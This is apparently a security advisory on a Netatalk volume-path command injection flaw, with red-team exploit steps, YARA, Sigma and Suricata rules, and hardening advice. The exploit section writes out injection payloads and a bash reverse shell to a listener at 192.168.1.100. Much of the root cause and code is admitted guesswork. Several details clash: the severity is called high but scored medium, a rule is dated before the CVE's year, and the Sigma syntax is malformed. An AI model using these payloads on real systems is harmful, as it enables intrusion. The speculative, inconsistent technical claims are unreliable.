CVE-2026-44076

Executive Summary

CVE-2026-44076 is a high-severity OS command injection vulnerability in Netatalk, an open-source implementation of the Apple Filing Protocol (AFP). The flaw resides in insufficient sanitization of volume paths, allowing a local privileged user to inject arbitrary OS commands. An attacker with local administrative access can craft a malicious volume path that, when processed by the Netatalk daemon (afpd), executes arbitrary code with the privileges of the daemon (typically root). This vulnerability affects Netatalk versions 3.1.0 through 4.4.2. No public exploit code or patch is currently available, making this a zero-day risk for unpatched systems.

Supply Chain & Package Security

Netatalk is distributed as source code and is commonly packaged in Linux distributions (e.g., Debian, Ubuntu, Red Hat, Arch Linux) and BSD systems. The vulnerability is introduced in the core source code, not in a third-party dependency. Organizations using Netatalk should monitor their package managers for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.7 (Medium)
• Attack Vector: Local (AV:L) – Requires local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions beyond crafting the path.
• Privileges Required: High (PR:H) – Attacker must already have local privileged access (e.g., root or sudo).
• User Interaction: None (UI:N) – No user action needed beyond the attacker’s own.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – Full compromise of the system.

Threat Level: High for environments where local privileged users are not fully trusted (e.g., multi-tenant servers, shared hosting). The requirement for high privileges reduces the attack surface but does not eliminate the risk of privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the volume path handling logic of the Netatalk daemon (afpd). When a user connects to an AFP share, the daemon resolves the volume path provided by the user or configuration. The path is not properly sanitized for shell metacharacters (e.g., ;, |, $(), backticks). A local privileged user can create a symbolic link or mount point with a crafted name containing command injection payloads. When afpd processes this path (e.g., during volume enumeration or access), it passes the unsanitized string to a shell command (likely via system(), popen(), or similar), leading to arbitrary command execution.

Root Cause: The code likely uses a function like snprintf() to build a command string and then passes it to system() without escaping shell special characters. For example:

snprintf(cmd, sizeof(cmd), "ls -la %s", volume_path);
system(cmd);

If volume_path is ; id > /tmp/evil, the command becomes ls -la ; id > /tmp/evil, executing id.

Attack Scenario:

1. Attacker gains local privileged access (e.g., via SSH with root or sudo).
2. Attacker creates a directory or symlink with a malicious name: mkdir "; echo 'pwned' > /tmp/pwn"
3. Attacker configures Netatalk to share this path (or the path is automatically enumerated).
4. When afpd processes the volume (e.g., on startup or user connection), the injected command executes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In afpd/volume.c or similar
char cmd[1024];
snprintf(cmd, sizeof(cmd), "stat %s", volume_path);
system(cmd);

Patched Code (Expected):

// Use execve() with arguments to avoid shell interpretation
char *args[] = {"/usr/bin/stat", volume_path, NULL};
execve(args[0], args, environ);
// Or use a safe wrapper that escapes shell metacharacters
char *escaped_path = escape_shell_arg(volume_path);
snprintf(cmd, sizeof(cmd), "stat %s", escaped_path);
system(cmd);

The patch should replace all uses of system(), popen(), or shell command construction with direct exec() family calls or proper input sanitization using functions like escapeshellarg().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local privileged access (root or sudo) on a system running Netatalk 3.1.0–4.4.2.
• Netatalk service running (afpd).

Exploit Steps:

1. Create a malicious volume path:

   mkdir -p "/tmp/exploit; echo 'INJECTED' > /tmp/pwned"
   

2. Add this path to Netatalk configuration (e.g., /etc/netatalk/AppleVolumes.default):

   /tmp/exploit; echo 'INJECTED' > /tmp/pwned   "Malicious Share"
   

3. Restart Netatalk or trigger a volume scan:

   systemctl restart netatalk
   

4. Verify execution:

   cat /tmp/pwned
   # Should output: INJECTED
   

Advanced Payload (Reverse Shell):

mkdir -p "/tmp/revshell; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual volume path names containing shell metacharacters (;, |, $, `).
• Audit Netatalk configuration files for suspicious entries.
• Use file integrity monitoring (e.g., AIDE, Tripwire) on /etc/netatalk/.

Hardening:

• Restrict local privileged access using RBAC and least privilege.
• Use AppArmor or SELinux to confine afpd.
• Disable Netatalk if not needed.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File System:
  • Directories or symlinks with names containing shell metacharacters (e.g., ;, |, $()).
  • Unexpected files in /tmp/ or /var/tmp/ created by injected commands.
• Process:
  • afpd spawning unexpected child processes (e.g., bash, id, curl).
• Network:
  • Outbound connections from afpd to suspicious IPs (if reverse shell used).
• Logs:
  • Netatalk logs (/var/log/netatalk.log) showing unusual volume paths.
  • System logs (/var/log/syslog) with command execution errors.

Detection Engineering

YARA Rule

rule CVE_2026_44076_Netatalk_Volume_Path_Injection {
    meta:
        description = "Detects malicious volume paths with shell metacharacters in Netatalk configs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-44076"
    strings:
        $meta1 = /[;|`$()]/
        $meta2 = /\\$\\(/
        $meta3 = /`[^`]+`/
    condition:
        (uint16(0) == 0x0a0d or uint16(0) == 0x0d0a) and
        any of ($meta*) and
        filesize < 10MB
}

Sigma Rule

title: Netatalk Volume Path Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-44076 via crafted volume paths
author: Valters IT
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "afpd" in process.name
        - "volume" in command_line
        - command_line contains any:
            - ";"
            - "|"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of special characters in volume names (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-44076 Netatalk Volume Path Injection - Outbound Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 62 61 73 68|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Netatalk if not required: systemctl stop netatalk && systemctl disable netatalk.
2. Restrict local privileged access to trusted administrators only.
3. Audit existing volume paths in /etc/netatalk/AppleVolumes.default and remove any suspicious entries.

Long-Term Fix:

• Apply vendor patch when released (monitor Netatalk GitHub or distribution channels).
• Upgrade to a patched version (expected > 4.4.2).
• Implement input validation in custom scripts that interact with Netatalk.

Workaround:

• Use AppArmor profile to restrict afpd:

  /usr/sbin/afpd {
      /bin/bash ix,
      /usr/bin/stat ix,
      # Deny execution of arbitrary commands
      deny /bin/sh x,
  }
  

Valters IT